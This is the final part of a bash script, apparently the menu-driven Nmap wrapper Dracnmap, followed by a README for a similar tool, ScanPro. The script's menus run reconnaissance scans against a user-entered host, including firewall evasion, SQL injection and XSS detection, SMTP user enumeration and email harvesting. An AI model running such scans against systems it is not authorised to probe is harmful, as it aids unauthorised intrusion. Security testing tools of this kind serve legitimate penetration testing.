2614 | 											echo
2615 | 											clear
2616 | 											vuln
2617 | 									elif test $ceh == '8'
2618 | 										then
2619 | 										 menu
2620 | 									else
2621 | 											echo ""
2622 | 											echo -e $okegreen " Incorrect Number"
2623 | 										fi
2624 | 											 echo ""
2625 | 											 echo ""
2626 | 											 echo -n -e $red " Back to Last Menu? ( Yes / No ) :"
2627 | 									read back
2628 | 									if [ $back != 'n' ] && [ $back != 'N' ] && [ $back != 'no' ] && [ $back != 'No' ]
2629 | 											then
2630 | 											clear
2631 | 											menu
2632 | 									elif [ $back != 'y' ] && [ $back != 'Y' ] && [ $back != 'yes' ] && [ $back != 'Yes' ]
2633 | 											then
2634 | 											nse
2635 | 									fi
2636 | 						}
2637 | 
2638 | ################################################
2639 | # PING PING BEBEB
2640 | ################################################
2641 | function pingbebeb() {
2642 |   echo -e $okegreen " "
2643 |   clear
2644 |   echo " "
2645 |   echo "                "
2646 |   echo ""
2647 |   echo "          \|/  "
2648 |   echo "         .-*-   "
2649 |   echo "        / /|\     "
2650 |   echo "       _L_         "
2651 |   echo "     ,     .         "
2652 |   echo -e $okegreen" (\ /  O O  \ /)  $red ______ _______ _______ _______      __ __      "
2653 |   echo -e $okegreen"  \|    _    |/   $red |   __ \_     _|    |  |     __|    |  |  |     "
2654 |   echo -e $okegreen"    \  (_)  /     $red |    __/_|   |_|       |    |  |    |__|__|   "
2655 |   echo -e $okegreen"    _/.___,\_     $red |___|  |_______|__|____|_______|    |__|__|    "
2656 |   echo -e $okegreen"   (_/ alf \_)         "
2657 |     echo -e $white " "
2658 |     echo -e $white"	[$okegreen"01"$white]$cyan  BROADCAST PING  "
2659 |     echo -e $white"	[$okegreen"02"$white]$cyan  TCP SYN PING SCANS "
2660 |     echo -e $white"	[$okegreen"03"$white]$cyan  TCP ACK PING SCANS "
2661 |     echo -e $white"	[$okegreen"04"$white]$cyan  UDP PING SCANS "
2662 |     echo -e $white"	[$okegreen"05"$white]$cyan  ICMP PING SCANS "
2663 |     echo -e $white"	[$okegreen"06"$white]$cyan  IP PROTOCOL PING SCANS "
2664 |     echo -e $white"	[$okegreen"07"$white]$cyan  BACK  "
2665 |     echo -e " "
2666 |     echo -n -e $red'  \033[4mScreetsec@PING!:\033[0m>> '; tput sgr0 #insert your choice
2667 |              read DrS
2668 | 
2669 |            if test $DrS == '1'
2670 |         	  then
2671 |                   echo -e $cyan""
2672 |                   echo -n "  What is your IP Target or Host: " ; tput sgr0
2673 |            	  read ip
2674 |           	  $xterm --script broadcast-ping --script-args broadcast-ping.num_probes=5 $ip &
2675 |                   pingbebeb
2676 |            elif test $DrS == '2'
2677 |                	  then
2678 |                   echo -e $cyan""
2679 |                   echo -n "  What is your IP Target or Host: " ; tput sgr0
2680 |            	  read ip
2681 |           	  $xterm -sP -PS $ip &
2682 |                   pingbebeb
2683 |            elif test $DrS == '3'
2684 |                   then
2685 |                   echo -e $cyan""
2686 |                   echo -n "  What is your IP Target or Host: " ; tput sgr0
2687 |                   read ip
2688 |                   $xterm -sP -PA $ip &
2689 |                   pingbebeb
2690 |             elif test $DrS == '4'
2691 |                   then
2692 |                   echo -e $cyan""
2693 |                   echo -n "  What is your IP Target or Host: " ; tput sgr0
2694 |                   read ip
2695 |                   $xterm -sP -PU $ip &
2696 |                   pingbebeb
2697 |             elif test $DrS == '5'
2698 |             		then
2699 |                   echo -e $cyan""
2700 |                   echo -n "  What is your IP Target or Host: " ; tput sgr0
2701 |                   read ip
2702 |                   $xterm -sP -PE $ip &
2703 |                   pingbebeb
2704 |             elif test $DrS == '6'
2705 |                	  then
2706 |                   echo -e $cyan""
2707 |                   echo -n "  What is your IP Target or Host: " ; tput sgr0
2708 |                   read ip
2709 |                   $xterm  -sP -PO --packet-trace $ip  &
2710 |                   pingbebeb
2711 |             elif test $DrS == '7'
2712 |               then
2713 |               menu
2714 |        			else
2715 |                 echo ""
2716 |        			  	echo -e $okegreen " Incorrect Number"
2717 |         			fi
2718 |               echo ""
2719 |               echo ""
2720 |         			echo -n -e $cyan " Back to Last Menu? ( Yes / No ) :"
2721 |        			read back
2722 |        			if [ $back != 'n' ] && [ $back != 'N' ] && [ $back != 'no' ] && [ $back != 'No' ]
2723 |        					then
2724 |        					clear
2725 |        					menu
2726 |        			elif [ $back != 'y' ] && [ $back != 'Y' ] && [ $back != 'yes' ] && [ $back != 'Yes' ]
2727 |        					then
2728 |        					pingbebeb
2729 |        			fi
2730 |        }
2731 | 
2732 | 
2733 | 
2734 | ###############################################
2735 | # ZENMAP
2736 | ###############################################
2737 | function zenmapscript() {
2738 | clear
2739 | clear
2740 | echo ""
2741 | echo -e $okegreen" ===================================================================="
2742 | echo -e $cyan""
2743 | echo "           +--^----------,--------,-----,--------^-, "
2744 | echo -e "           | $red |||||||||   --------      |         O "
2745 | echo -e $cyan"           +---------------------------^----------| "
2746 | echo -e $cyan"            \_,---------,---------,--------------' "
2747 | echo -e "              / $red"XXXXXX"$cyan /'|       /' "
2748 | echo -e "             / $red"XXXXXX"$cyan /   \    /' "
2749 | echo -e "            / $red"XXXXXX"$cyan / _______/ "
2750 | echo -e "           / $red"XXXXXX"$cyan / "
2751 | echo -e "           / $red"XXXXXX"$cyan / "
2752 | echo "           (________(   "
2753 | echo -e "            ------'        $red DOUBLE KILL !! GO GO GO !!  "
2754 | echo ""
2755 | echo -e $okegreen" ====================================================================="
2756 | echo -e $cyan "       Scanning Target with $red'advanced command  ( Zenmap Command )  "
2757 | echo -e $okegreen" ====================================================================="
2758 | echo ""
2759 | echo ""
2760 |   echo -e $white"	[$okegreen"01"$white]$cyan  ITENSE SCAN"
2761 |   echo -e $white"	[$okegreen"02"$white]$cyan  ITENSE SCAN + UDP "
2762 |   echo -e $white"	[$okegreen"03"$white]$cyan  ITENSE SCAN ALL TCP PORTS "
2763 |   echo -e $white"	[$okegreen"04"$white]$cyan  QUICK SCAN  "
2764 |   echo -e $white"	[$okegreen"05"$white]$cyan  QUICK SCAN PLUS PLUS "
2765 |   echo -e $white"	[$okegreen"06"$white]$cyan  QUICK TRACEROUT   "
2766 |   echo -e $white"	[$okegreen"07"$white]$cyan  COMPREHENSIVE SCAN [BEST]  "
2767 |   echo -e $white"	[$okegreen"08"$white]$cyan  BACK  "
2768 | 	echo -e 	" "
2769 |   echo -n -e $red'  \033[4mScreetsec@Headshot:\033[0m>> '; tput sgr0 #insert your choice
2770 |       read Scanning
2771 | 			if test $Scanning == '1'
2772 | 				then
2773 | 				echo
2774 | 				echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2775 |  				read ip
2776 | 				$xterm -T4 -A -v $ip &
2777 | 			elif test $Scanning == '2'
2778 | 				then
2779 | 				echo
2780 | 				echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2781 |  				read ip
2782 | 				$xterm -sS -sU -T4 -A -v $ip &
2783 | 			elif test $Scanning == '3'
2784 | 				then
2785 | 				echo
2786 | 				echo -ne  $okegreen" What is your IP Target or Host: " ; tput sgr0
2787 |  				read ip
2788 | 				$xterm -p 1-65535 -T4 -A -v $ip &
2789 | 			elif test $Scanning == '4'
2790 | 				then
2791 | 				echo
2792 | 				echo -ne  $okegreen" What is your IP Target or Host: "; tput sgr0
2793 |  				read ip
2794 | 				$xterm -T4 -F $ip &
2795 | 			elif test $Scanning == '5'
2796 | 				then
2797 | 				echo
2798 | 				echo -ne  $okegreen" What is your IP Target or Host: "; tput sgr0
2799 |  				read ip
2800 | 				$xterm -sV -T4 -O -F --version-light $ip &
2801 | 			elif test $Scanning == '6'
2802 | 				then
2803 | 				echo
2804 | 				echo -ne $okegreen " What is your IP Target or Host: "; tput sgr0
2805 |  				read ip
2806 | 				$xterm -sn --traceroute $ip &
2807 | 			elif test $Scanning == '7'
2808 | 				then
2809 | 				echo
2810 | 				echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2811 |  				read ip
2812 | 				$xterm -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" $ip &
2813 |       			elif test $Scanning == '8'
2814 |         			then
2815 |         			menu
2816 |      			else
2817 |      			    echo ""
2818 |      			    echo -e $okegreen " Incorrect Number"
2819 |      			  fi
2820 |      			  echo ""
2821 |      			  echo ""
2822 |      			  echo -n -e $red " Back to Last Menu? ( Yes / No ) :"
2823 |      			read back
2824 |      			if [ $back != 'n' ] && [ $back != 'N' ] && [ $back != 'no' ] && [ $back != 'No' ]
2825 |      			    then
2826 |      			    clear
2827 |      			    menu
2828 |      			elif [ $back != 'y' ] && [ $back != 'Y' ] && [ $back != 'yes' ] && [ $back != 'Yes' ]
2829 |      			    then
2830 |      			    zenmapscript
2831 |      			fi
2832 |  }
2833 | 
2834 | ################################################
2835 | # PSCANNING FOR WEB SERVICE
2836 | ################################################
2837 | function WebService() {
2838 |   clear
2839 | echo -e $cyan ""
2840 | echo ""
2841 |   echo -e $red " __      __      ___.       _________                  .__              ";
2842 |   echo "/  \    /  \ ____\_ |__    /   _____/ ______________  _|__| ____  ____  ";
2843 |   echo "\   \/\/   // __ \| __ \   \_____  \_/ __ \_  __ \  \/ /  |/ ___\/ __ \ ";
2844 |   echo " \        /\  ___/| \_\ \  /        \  ___/|  | \/\   /|  \  \__\  ___/ ";
2845 |   echo "  \__/\  /  \___  >___  / /_______  /\___  >__|    \_/ |__|\___  >___  >";
2846 |   echo -e $okegreen
2847 |   echo " -----------------------------------------------------------------------"
2848 |   echo ""
2849 |     echo -e $white"	[$okegreen"01"$white]$cyan  DETECTING WEB APPLICATION FIREWALLS  "
2850 |     echo -e $white"	[$okegreen"02"$white]$cyan  DETECTING POSSIBLE XST VULNERABILITIES "
2851 |     echo -e $white"	[$okegreen"03"$white]$cyan  DETECTING OPEN RELAYS "
2852 |     echo -e $white"	[$okegreen"04"$white]$cyan  DETECTING BACKDOOR SMTP SERVERS "
2853 |     echo -e $white"	[$okegreen"05"$white]$cyan  DETECTING CROSS SITE SCRIPTING VULNERABILITIES  "
2854 |     echo -e $white"	[$okegreen"06"$white]$cyan  ENUMERATING USERS IN AN SMTP SERVER "
2855 |     echo -e $white"	[$okegreen"07"$white]$cyan  DETECTING WEB SERVERS VULNERABLE TO SLOWLORIS DDOS  "
2856 |     echo -e $white"	[$okegreen"08"$white]$cyan  FINDING SQL INJECTION VULNERABILITIES  "
2857 |     echo -e $white"	[$okegreen"09"$white]$cyan  CHECK IP GEOLOCATION WITH NSE  "
2858 |     echo -e $white"	[$okegreen"10"$white]$cyan  GATHERING INFORMATION FROM WHOIS (NSE)  "
2859 |     echo -e $white"	[$okegreen"11"$white]$cyan  COLLECTING VALID EMAIL ADDRES  "
2860 |     echo -e $white"	[$okegreen"12"$white]$cyan  BACK  "
2861 |     echo -e " "
2862 |     echo -n -e $red'  \033[4mScreetsec@WebService:\033[0m>> '; tput sgr0 #insert your choice
2863 |     read Scanning
2864 |     if test $Scanning == '1'
2865 |       then
2866 |       echo
2867 |       echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2868 |       read ip
2869 |       $xterm --script firewall-bypass --script-args firewall-bypass.helper="ftp", firewall-bypass.targetport=22 $ip &
2870 |     elif test $Scanning == '2'
2871 |       then
2872 |       echo
2873 |       echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2874 |       read ip
2875 |       nmap -sS -sU -T4 -A -v $ip
2876 |       $xterm -p80 --script http-methods,http-trace --script-args http-methods.retest $ip &
2877 |     elif test $Scanning == '3'
2878 |       then
2879 |       echo
2880 |       echo -ne  $okegreen" What is your IP Target or Host: " ; tput sgr0
2881 |       read ip
2882 |       $xterm -sV --script smtp-open-relay -v $ip &
2883 |     elif test $Scanning == '4'
2884 |       then
2885 |       echo
2886 |       echo -ne  $okegreen" What is your IP Target or Host: "; tput sgr0
2887 |       read ip
2888 |       $xterm nmap -sn $ip
2889 |       echo -e ""
2890 |       $xterm -sV --script smtp-strangeport $ip &
2891 |     elif test $Scanning == '5'
2892 |       then
2893 |       echo
2894 |       echo -ne  $okegreen" What is your IP Target or Host: "; tput sgr0
2895 |       read ip
2896 |       $xterm -p80 --script http-phpself-xss,http-unsafe-output-escaping $ip &
2897 |     elif test $Scanning == '6'
2898 |       then
2899 |       echo
2900 |       echo -ne $okegreen " What is your IP Target or Host: "; tput sgr0
2901 |       read ip
2902 |       $xterm -p25 –script smtp-enum-users $ip &
2903 |     elif test $Scanning == '7'
2904 |       then
2905 |       echo
2906 |       echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2907 |       read ip
2908 |       $xterm -p80 --script http-slowloris --max-parallelism 300 $ip &
2909 |     elif test $Scanning == '8'
2910 |       then
2911 |       echo
2912 |       echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2913 |       read ip
2914 |       $xterm -p80 --script http-sql-injection $ip &
2915 | 		elif test $Scanning == '9'
2916 |       then
2917 |       echo
2918 |       echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2919 |       read ip
2920 |       $xterm -Pn -p80 --script ip-geolocation-* $ip &
2921 | 		elif test $Scanning == '10'
2922 |       then
2923 |       echo
2924 |       echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2925 |       read ip
2926 |       $xterm -sn --script whois-ip --script-args whois.whodb=nocache $ip &
2927 | 		elif test $Scanning == '11'
2928 |       then
2929 |       echo
2930 |       echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
2931 |       read ip
2932 |       $xterm -p80 --script http-google-email,http-email-harvest $ip &
2933 |     elif test $Scanning == '12'
2934 |       then
2935 |       menu
2936 |     else
2937 |         echo ""
2938 |         echo -e $okegreen " Incorrect Number"
2939 |       fi
2940 |       echo ""
2941 |       echo ""
2942 |       echo -n -e $red " Back to Last Menu? ( Yes / No ) :"
2943 |     read back
2944 |     if [ $back != 'n' ] && [ $back != 'N' ] && [ $back != 'no' ] && [ $back != 'No' ]
2945 |         then
2946 |         clear
2947 |         menu
2948 |     elif [ $back != 'y' ] && [ $back != 'Y' ] && [ $back != 'yes' ] && [ $back != 'Yes' ]
2949 |         then
2950 |         WebService
2951 |     fi
2952 | }
2953 | 
2954 | 
2955 | #######################################################
2956 | # CREDITS
2957 | #######################################################
2958 | function credits {
2959 | clear
2960 | echo -e "
2961 | \033[31m##########################################################################\033[m
2962 | 		             Credits To
2963 | \033[31m##########################################################################\033[m"
2964 | echo
2965 | echo -e $white "Special thanks to:"
2966 | echo
2967 | echo -e $red "Dracos Linux ( www.dracos-linux.org )"
2968 | echo
2969 | echo -e $okegreen "Offensive Security for the awesome OS"
2970 | echo
2971 | echo -e $green "http://www.offensive-security.com/"
2972 | echo
2973 | echo -e $yellow "http://www.kali.org/"
2974 | echo
2975 | echo -e $cyan "http://www.kitploit.com/"
2976 | echo
2977 | echo -e $white "http://www.linuxsec.org/"
2978 | echo
2979 | echo -e $okegreen "My Friend for helpme ( Boy Suganda )"
2980 | echo
2981 | echo -e $red "Big Thanks to : http://www.github.com/"
2982 | echo
2983 | 
2984 | }
2985 | 
2986 | ###################################################
2987 | # Function Menu
2988 | #####################################################
2989 | function menu() {
2990 | clear
2991 | echo -e $red ""
2992 | echo "             80G08        "
2993 | echo "                8G#G@8  "
2994 | echo "                  8##0  "
2995 | echo "                   0##G8    "
2996 | echo "                     ####08 "
2997 | echo "                      8#####8   "
2998 | echo "                        G#####8   "
2999 | echo "                         8G#####8   "
3000 | echo "      #8#########0         #######8   "
3001 | echo "          8#######0          0#88#####    "
3002 | echo "            8G####8         8 8#8@@8###   "
3003 | echo "               8###        G8   8@G######   "
3004 | echo "                8##88       8     8######8    "
3005 | echo "                  G##088          80G##G080   "
3006 | echo "                    88000000008880#      000    "
3007 | echo "                          9               0 "
3008 | echo -e $okegreen"       .___                     _______                         ";
3009 | echo "     __| _/___________    ____  \      \   _____ _____  ______  ";
3010 | echo "    / __ |\_  __ \__  \ _/ ___\ /   |   \ /     \\__  \ \____  \ ";
3011 | echo "   / /_/ | |  | \// __ \\  \___/     |    \  Y Y  \/ __ \|  |_> >";
3012 | echo "   \____ | |__|  (____  /\___  >____|__  /__|_|  (____  /   __/ ";
3013 | echo "        \/            \/     \/        \/      \/     \/|__|    ";
3014 | echo ""
3015 | echo -e $cyan"    Script by           $white":" $red Edo Maland ( Screetsec ) "
3016 | echo -e $cyan"    Version             $white":" $red $Version  "
3017 | echo -e $cyan"    Codename            $white":" $red $Codename "
3018 | echo -e $cyan"    Follow me on Github $white":" $red @Screetsec "
3019 | echo -e $cyan"    Dracos Linux        $white":" $red dracos-linux.org "
3020 | echo -e $cyan ""
3021 | echo -e $okegreen"    =========================================================    ";
3022 | 		echo -e $white " "
3023 | 		echo -e $white"	[$okegreen"01"$white]$cyan  REGULER SCAN "
3024 |     echo -e $white"	[$okegreen"02"$white]$cyan  SCAN MULTIPLE IP ADDRESS "
3025 | 		echo -e $white"	[$okegreen"03"$white]$cyan  SCAN OS VERSION AND TRACEROUTE "
3026 |     echo -e $white"	[$okegreen"04"$white]$cyan  FIND OUT IF A HOST IS PROTECTED FIREWALL  "
3027 | 		echo -e $white"	[$okegreen"05"$white]$cyan  EVADING FIREWALLS "
3028 |     echo -e $white"	[$okegreen"06"$white]$cyan  PING PING !!   "
3029 |     echo -e $white"	[$okegreen"07"$white]$cyan  WEB SERVICES"
3030 | 		echo -e $white"	[$okegreen"08"$white]$cyan  NMAP SCRIPT ENGINE - ADVANCED   "
3031 | 		echo -e $white"	[$okegreen"09"$white]$cyan  ADVANCED NMAP SCANNINGS ( ZENMAP COMMAND ) "
3032 | 		echo -e $white"	[$okegreen"10"$white]$cyan  SCANNING TARGET WITH OUTPUT FILES"
3033 | 		echo -e $white"	[$okegreen"11"$white]$cyan  CREDITS  "
3034 | 		echo -e $white"	[$okegreen"12"$white]$cyan  EXIT  "
3035 | 		echo -e " "
3036 | 		echo -n -e $red'  \033[4mScreetsec@dracmap-v2:\033[0m '; tput sgr0 #insert your choice
3037 | 		read Dracnmap
3038 | 		if test $Dracnmap == '1'
3039 |       then
3040 |     echo -e $cyan""
3041 |     echo -ne "  What is your IP Target or Host: " ; tput sgr0
3042 |     read ip
3043 |     $xterm  $ip &
3044 | 
3045 | 		elif test $Dracnmap == '2'
3046 |  			then
3047 |     echo ""
3048 |     echo -ne $okegreen"  What is your IP Target or Host (1): " ; tput sgr0
3049 |     read ip1
3050 |     echo ""
3051 |     echo -ne $okegreen " What is your IP Target or Host (2): " ; tput sgr0
3052 |     read ip2
3053 |     echo ""
3054 |     echo -ne $okegreen " What is your IP Target or Host (3): " ; tput sgr0
3055 |     read ip3
3056 |     echo ""
3057 |     $xterm  $ip1 $ip2 $ip3  &
3058 | 
3059 | 		elif test $Dracnmap == '3'
3060 | 			then
3061 |         echo -e $cyan""
3062 |         echo -ne "  What is your IP Target or Host: " ; tput sgr0
3063 |         read ip
3064 |         $xterm -sV -T4 -O -F --version-light 1  $ip &
3065 | 
3066 | 
3067 | 		elif test $Dracnmap == '4'
3068 | 			then
3069 |         echo -e $cyan""
3070 |         echo -ne "  What is your IP Target or Host: " ; tput sgr0
3071 |         read ip
3072 |         $xterm nmap -sA $ip &
3073 | 
3074 | 		elif test $Dracnmap == '5'
3075 | 			then
3076 |       echo -e $cyan""
3077 |       echo -ne "  What is your IP Target or Host: " ; tput sgr0
3078 |       read ip
3079 | 			$xterm -sS -P0 $ip &
3080 | 
3081 |     elif test $Dracnmap == '6'
3082 |       then
3083 |       pingbebeb
3084 | 
3085 | 		elif test $Dracnmap == '7'
3086 | 			then
3087 | 			WebService
3088 | 
3089 | 		elif test $Dracnmap == '8'
3090 |  			then
3091 |  			nse
3092 | 
3093 | 		elif test $Dracnmap == '9'
3094 |  			then
3095 |       zenmapscript
3096 | 
3097 | 		elif test $Dracnmap == '10'
3098 | 	     then
3099 |        scanoutput
3100 | 
3101 | 		elif test $Dracnmap == '11'
3102 |  			then
3103 |       credits
3104 | 
3105 |     elif test $Dracnmap == '12'
3106 |       then
3107 |         clear
3108 | 				sleep 1
3109 | 				echo ""
3110 | 				echo -e $yellow"[*] Thank You For Using Dracnmap  =)."
3111 | 				echo ""
3112 | 				echo -e $yellow"[*] Check Dracos Linux LFS, Penetration OS From Indonesia  =P."
3113 |         exit
3114 | 
3115 |  		else
3116 | 			echo -e "  Incorrect Number"
3117 | 			fi
3118 | 			echo -n -e "  Do you want exit? ( Yes / No ) :"
3119 | 			read back
3120 | 			if [ $back != 'n' ] && [ $back != 'N' ] && [ $back != 'no' ] && [ $back != 'No' ]
3121 | 					then
3122 | 					clear
3123 | 					exit
3124 | 			elif [ $back != 'y' ] && [ $back != 'Y' ] && [ $back != 'yes' ] && [ $back != 'Yes' ]
3125 | 					then
3126 | 					menu
3127 |   fi
3128 | 
3129 | }
3130 | 
3131 | ####################################################
3132 | # BANNER
3133 | ####################################################
3134 | clear
3135 | echo -e $red ""
3136 | echo "             80G08        "
3137 | echo "                8G#G@8  "
3138 | echo "                  8##0  "
3139 | echo "                   0##G8    "
3140 | echo "                     ####08 "
3141 | echo "                      8#####8   "
3142 | echo "                        G#####8   "
3143 | echo "                         8G#####8   "
3144 | echo "      #8#########0         #######8   "
3145 | echo "          8#######0          0#88#####    "
3146 | echo "            8G####8         8 8#8@@8###   "
3147 | echo "               8###        G8   8@G######   "
3148 | echo "                8##88       8     8######8    "
3149 | echo "                  G##088          80G##G080   "
3150 | echo "                    88000000008880#      000    "
3151 | echo "                          9               0 "
3152 | echo -e $okegreen"       .___                     _______                         ";
3153 | echo "     __| _/___________    ____  \      \   _____ _____  ______  ";
3154 | echo "    / __ |\_  __ \__  \ _/ ___\ /   |   \ /     \\__  \ \____  \ ";
3155 | echo "   / /_/ | |  | \// __ \\  \___/     |    \  Y Y  \/ __ \|  |_> >";
3156 | echo "   \____ | |__|  (____  /\___  >____|__  /__|_|  (____  /   __/ ";
3157 | echo "        \/            \/     \/        \/      \/     \/|__|    ";
3158 | echo ""
3159 | echo -e $cyan"    Script by           $white":" $red Edo Maland ( Screetsec ) "
3160 | echo -e $cyan"    Version             $white":" $red $Version  "
3161 | echo -e $cyan"    Codename            $white":" $red $Codename "
3162 | echo -e $cyan"    Follow me on Github $white":" $red @Screetsec "
3163 | echo -e $cyan"    Dracos Linux        $white":" $red dracos-linux.org "
3164 | echo -e $cyan ""
3165 | echo -e $okegreen"    =========================================================    ";
3166 | 		echo -e $white " "
3167 | 		echo -e $white"	[$okegreen"01"$white]$cyan  REGULER SCAN "
3168 |     echo -e $white"	[$okegreen"02"$white]$cyan  SCAN MULTIPLE IP ADDRESS "
3169 | 		echo -e $white"	[$okegreen"03"$white]$cyan  SCAN OS VERSION AND TRACEROUTE "
3170 |     echo -e $white"	[$okegreen"04"$white]$cyan  FIND OUT IF A HOST IS PROTECTED FIREWALL  "
3171 | 		echo -e $white"	[$okegreen"05"$white]$cyan  EVADING FIREWALLS "
3172 |     echo -e $white"	[$okegreen"06"$white]$cyan  PING PING !!   "
3173 |     echo -e $white"	[$okegreen"07"$white]$cyan  WEB SERVICES"
3174 | 		echo -e $white"	[$okegreen"08"$white]$cyan  NMAP SCRIPT ENGINE - ADVANCED   "
3175 | 		echo -e $white"	[$okegreen"09"$white]$cyan  ADVANCED NMAP SCANNINGS ( ZENMAP COMMAND ) "
3176 | 		echo -e $white"	[$okegreen"10"$white]$cyan  SCANNING TARGET WITH OUTPUT FILES"
3177 | 		echo -e $white"	[$okegreen"11"$white]$cyan  CREDITS  "
3178 | 		echo -e $white"	[$okegreen"12"$white]$cyan  EXIT  "
3179 | 		echo -e " "
3180 | 		echo -n -e $red'  \033[4mScreetsec@dracmap-v2:\033[0m '; tput sgr0 #insert your choice
3181 | 		read Dracnmap
3182 | 		if test $Dracnmap == '1'
3183 |       then
3184 |     echo -e $cyan""
3185 |     echo -ne "  What is your IP Target or Host: " ; tput sgr0
3186 |     read ip
3187 |     $xterm  $ip &
3188 | 
3189 | 		elif test $Dracnmap == '2'
3190 |  			then
3191 |     echo ""
3192 |     echo -ne $okegreen"  What is your IP Target or Host (1): " ; tput sgr0
3193 |     read ip1
3194 |     echo ""
3195 |     echo -ne $okegreen " What is your IP Target or Host (2): " ; tput sgr0
3196 |     read ip2
3197 |     echo ""
3198 |     echo -ne $okegreen " What is your IP Target or Host (3): " ; tput sgr0
3199 |     read ip3
3200 |     echo ""
3201 |     $xterm  $ip1 $ip2 $ip3 &
3202 | 
3203 | 		elif test $Dracnmap == '3'
3204 | 			then
3205 |         echo -e $cyan""
3206 |         echo -ne "  What is your IP Target or Host: " ; tput sgr0
3207 |         read ip
3208 |         $xterm -sV -T4 -O -F --version-light 1  $ip &
3209 | 
3210 | 
3211 | 		elif test $Dracnmap == '4'
3212 | 			then
3213 |         echo -e $cyan""
3214 |         echo -ne "  What is your IP Target or Host: " ; tput sgr0
3215 |         read ip
3216 |         $xterm nmap -sA $ip &
3217 | 
3218 | 		elif test $Dracnmap == '5'
3219 | 			then
3220 |       echo -e $cyan""
3221 |       echo -ne "  What is your IP Target or Host: " ; tput sgr0
3222 |       read ip
3223 | 			$xterm -sS -P0 $ip &
3224 | 
3225 |     elif test $Dracnmap == '6'
3226 |       then
3227 |       pingbebeb
3228 | 
3229 | 		elif test $Dracnmap == '7'
3230 | 			then
3231 | 			WebService
3232 | 
3233 | 		elif test $Dracnmap == '8'
3234 |  			then
3235 |  			nse
3236 | 
3237 | 		elif test $Dracnmap == '9'
3238 |  			then
3239 |       zenmapscript
3240 | 
3241 | 		elif test $Dracnmap == '10'
3242 | 	     then
3243 |        scanoutput
3244 | 
3245 | 		elif test $Dracnmap == '11'
3246 |  			then
3247 |       credits
3248 | 
3249 |     elif test $Dracnmap == '12'
3250 |       then
3251 |         clear
3252 | 				sleep 1
3253 | 				echo ""
3254 | 				echo -e $yellow"[*] Thank You For Using Dracnmap  =)."
3255 | 				echo ""
3256 | 				echo -e $yellow"[*] Check Dracos Linux LFS, Penetration OS From Indonesia  =P."
3257 |         exit
3258 | 
3259 |  		else
3260 | 			echo -e "  Incorrect Number"
3261 | 			fi
3262 | 			echo -n -e "  Do you want exit? ( Yes / No ) :"
3263 | 			read back
3264 | 			if [ $back != 'n' ] && [ $back != 'N' ] && [ $back != 'no' ] && [ $back != 'No' ]
3265 | 					then
3266 | 					clear
3267 | 					exit
3268 | 			elif [ $back != 'y' ] && [ $back != 'Y' ] && [ $back != 'yes' ] && [ $back != 'Yes' ]
3269 | 					then
3270 | 					menu
3271 | fi
3272 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | > בס״ד
 2 | <div align="center">
 3 | 
 4 | <h2 align="center"><a href="https://github.com/Anlominus">⚜️ Aภl๏miuภuຮ ⚜️</a></h2>
 5 | 
 6 | <img align="center" width="100" src="https://user-images.githubusercontent.com/51442719/172729066-1293d382-4a31-4f03-8c23-ab0ea5f611a0.png">
 7 | 
 8 | ⫷ [**`HacKingPro`**](https://github.com/Anlominus/HacKingPro) ⫸
 9 | <br>
10 | ⫷ [**`TryHackMe`**](https://github.com/Anlominus/TryHackMe) | [**`KoTH`**](https://github.com/Anlominus/TryHackMe/tree/main/King%20of%20the%20Hill/KoTH) ⫸ 
11 | <br>
12 | ⫷ [**`Privilege-Escalation`**](https://github.com/Anlominus/Privilege-Escalation)⫸ 
13 | <br>
14 | ⫷ [**`ScanPro`**](https://github.com/Anlominus/ScanPro) | [**`Linfo`**](https://github.com/Anlominus/Linfo) | [**`Diablo`**](https://github.com/Anlominus/Diablo) ⫸ 
15 | <br>
16 | ⫷ [**`Offensive-Security`**](https://github.com/Anlominus/Offensive-Security) | [**`PenTest`**](https://github.com/Anlominus/PenTest) ⫸
17 | <br>
18 | ⫷ [**`Goals`**](https://github.com/Anlominus/Goals) | [**`Studies`**](https://github.com/Anlominus/Studies) | [**`HacKing`**](https://github.com/Anlominus/HacKing) | [**`AnyTeam`**](https://github.com/Anlominus/AnyTeam) ⫸
19 | <br>
20 | 
21 | </div>
22 |   
23 | ---
24 | 
25 | 
26 | <div align="center">
27 | 
28 | # [ScanPro](https://github.com/Anlominus/ScanPro) `BETA`
29 | 
30 | ```shell
31 | git clone https://github.com/AnLoMinus/ScanPro; cd ScanPro/; chmod +x ScanPro; ./ScanPro
32 | ```
33 |     
34 |   <a href=""><br><img title="Made in ISRAEL" src="https://img.shields.io/badge/MADE%20IN-ISRAEL-blue?style=for-the-badge"></a>
35 | 
36 | ScanPro - Nmap Menu Scanning
37 | 
38 | </div>
39 | 
40 | ---
41 | 
42 | <h1> Feel free to sponsor me for the maintenance of the tool: <a href="https://github.com/Anlominus/ScanPro">ScanPro</a> </h1>
43 | 
44 | ---
45 |     
46 | ## Start
47 | - `sh ScanPro`
48 | - [x] Ask for IP Target: 
49 | - [x] Ask for PORT Target: 
50 | - [x] Ask for location OutPut Log: 
51 | 
52 | - [#] ScanPro Menu  
53 |     - [x] [1] Target Selection
54 |     - [x] [2] Port Selection
55 |     - [x] [3] Scan Types
56 |     - [x] [4] Service and Operating System Detection
57 |     - [x] [5] Output formats
58 |     - [x] [6] NSE Scripting
59 |     - [x] [7] HTTP info gathering
60 | 
61 |     - [x] [m] Main Menu
62 |     - [x] [x] Exit
63 | 
64 | 
65 | ┌──[Anlominus👽ScanPro$~]  
66 | └──╼ Enter selection [0-7] >
67 | 
68 | ---
69 | 
70 | # TODO / Check List List
71 | - add Function: 
72 |     - [ ] Export Beutify Log Report
73 | 
74 | ---
75 | 
76 | ## Inspired by
77 | - [DracNmap](https://github.com/screetsec/Dracnmap)
78 | - [NmapAutomator](https://github.com/21y4d/nmapAutomator)
79 | 
80 | ---
81 | 
